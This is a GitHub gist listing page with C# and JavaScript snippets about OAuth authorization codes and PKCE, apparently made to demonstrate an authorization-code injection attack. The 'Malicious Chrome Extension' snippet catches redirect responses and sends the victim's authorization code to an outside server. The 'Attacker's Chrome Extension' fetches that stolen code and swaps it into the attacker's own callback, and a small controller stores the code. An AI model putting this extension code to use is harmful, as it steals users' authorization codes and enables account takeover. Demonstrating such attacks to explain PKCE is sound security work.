Skip to content

Instantly share code, notes, and snippets.

View DavidKlempfner's full-sized avatar

David Klempfner DavidKlempfner

View GitHub Profile
@DavidKlempfner
DavidKlempfner / ValidateCodeVerifierAgainstCodeChallenge.cs
Created February 12, 2024 10:15
ValidateCodeVerifierAgainstCodeChallenge
private bool ValidateCodeVerifierAgainstCodeChallenge(string codeVerifier, string codeChallenge, string codeChallengeMethod)
{
if (codeChallengeMethod == OidcConstants.CodeChallengeMethods.Plain)
{
return TimeConstantComparer.IsEqual(codeVerifier.Sha256(), codeChallenge);
}
var codeVerifierBytes = Encoding.ASCII.GetBytes(codeVerifier);
var hashedBytes = codeVerifierBytes.Sha256();
var transformedCodeVerifier = Base64Url.Encode(hashedBytes);
@DavidKlempfner
DavidKlempfner / SerializedInRedis.json
Created February 11, 2024 04:11
SerializedInRedis
{
"PersistentGrantDataContainerVersion": 1,
"DataProtected": true,
"Payload": "CfDJ8P_eUI7fv4VJqaZguyuE..."
}
@DavidKlempfner
DavidKlempfner / SerializedAuthorizationCode.json
Created February 11, 2024 04:08
SerializedAuthorizationCode
{
"CreationTime": "2024–02–11T03:42:43Z",
"Lifetime": 3000,
"ClientId": "p-web",
"Subject": {
"AuthenticationType": "Identity.Application",
"Claims": [
{
"Type": "sub",
"Value": "2188df58–6343–4897–8f43–3afb325a924e"
@DavidKlempfner
DavidKlempfner / AttackersChromeExtensionManifest.json
Created January 6, 2024 04:55
AttackersChromeExtensionManifest
{
"manifest_version": 3,
"name": "Attacker's Chrome Extension",
"description": "Updates the request with the authorization code from the victim",
"version": "1.0",
"background": {
"service_worker": "background.js"
},
"host_permissions": [
"<all_urls>"
@DavidKlempfner
DavidKlempfner / AttackersChromeExtension.js
Created January 6, 2024 04:53
AttackersChromeExtension
const callback = function(details) {
if (details.statusCode === 302) {
const locationHeader = details.responseHeaders.find(x => x.name.toUpperCase() === 'LOCATION');
const callbackPath = '/authentication/callback?code='; // Update this with whatever path your browser uses to send the authorization code to the client app
if (locationHeader && locationHeader.value.includes(callbackPath)) {
const authCode = locationHeader.value.split('=')[1].split('&')[0];
// Attacker code:
fetch('https://yourAzureUrl.net/AuthCodePersistor').then(r => r.text()).then(result => {
const newUrl = locationHeader.value.replace(authCode, result);
@DavidKlempfner
DavidKlempfner / MaliciousChromeExtensionManifest.json
Created January 6, 2024 04:48
MaliciousChromeExtensionManifest
{
"manifest_version": 3,
"name": "Victims Extension",
"description": "Allows an attacker to intercept the authorization code",
"version": "1.0",
"background": {
"service_worker": "background.js"
},
"host_permissions": [
"<all_urls>"
@DavidKlempfner
DavidKlempfner / MaliciousChromeExtension.js
Created January 6, 2024 04:45
Malicious Chrome Extension
const callback = function(details) {
if (details.statusCode === 302) {
const locationHeader = details.responseHeaders.find(x => x.name.toUpperCase() === 'LOCATION');
const callbackPath = '/authentication/callback?code='; // Update this with whatever path your browser uses to send the authorization code to the client app
if (locationHeader && locationHeader.value.includes(callbackPath)) {
const authCode = locationHeader.value.split('=')[1].split('&')[0];
// Victim code:
fetch('https://yourAzureUrl.net/AuthCodePersistor/' + authCode).then(r => r.text()).then(result => {
});
chrome.tabs.update(details.tabId, {url: '<URL to send the victim to after the attack'});
@DavidKlempfner
DavidKlempfner / AuthCodePersistor.cs
Created January 6, 2024 02:41
AuthCodePersistor
namespace AuthCodePersistor.Controllers
{
[ApiController]
[Route("[controller]")]
public class AuthCodePersistor : ControllerBase
{
private static string AuthCode = "";
[HttpGet]
[Route("{authCode}")]
message.State = Options.StateDataFormat.Protect(properties);
@DavidKlempfner
DavidKlempfner / PkceGeneration.cs
Last active December 4, 2023 11:33
PkceGeneration
private async Task HandleChallengeAsyncInternal(AuthenticationProperties properties)
{
// code omitted
if (Options.UsePkce && Options.ResponseType == OpenIdConnectResponseType.Code)
{
var bytes = new byte[32];
RandomNumberGenerator.Fill(bytes);
var codeVerifier = Base64UrlTextEncoder.Encode(bytes);
// Store this for use during the code redemption. See RunAuthorizationCodeReceivedEventAsync.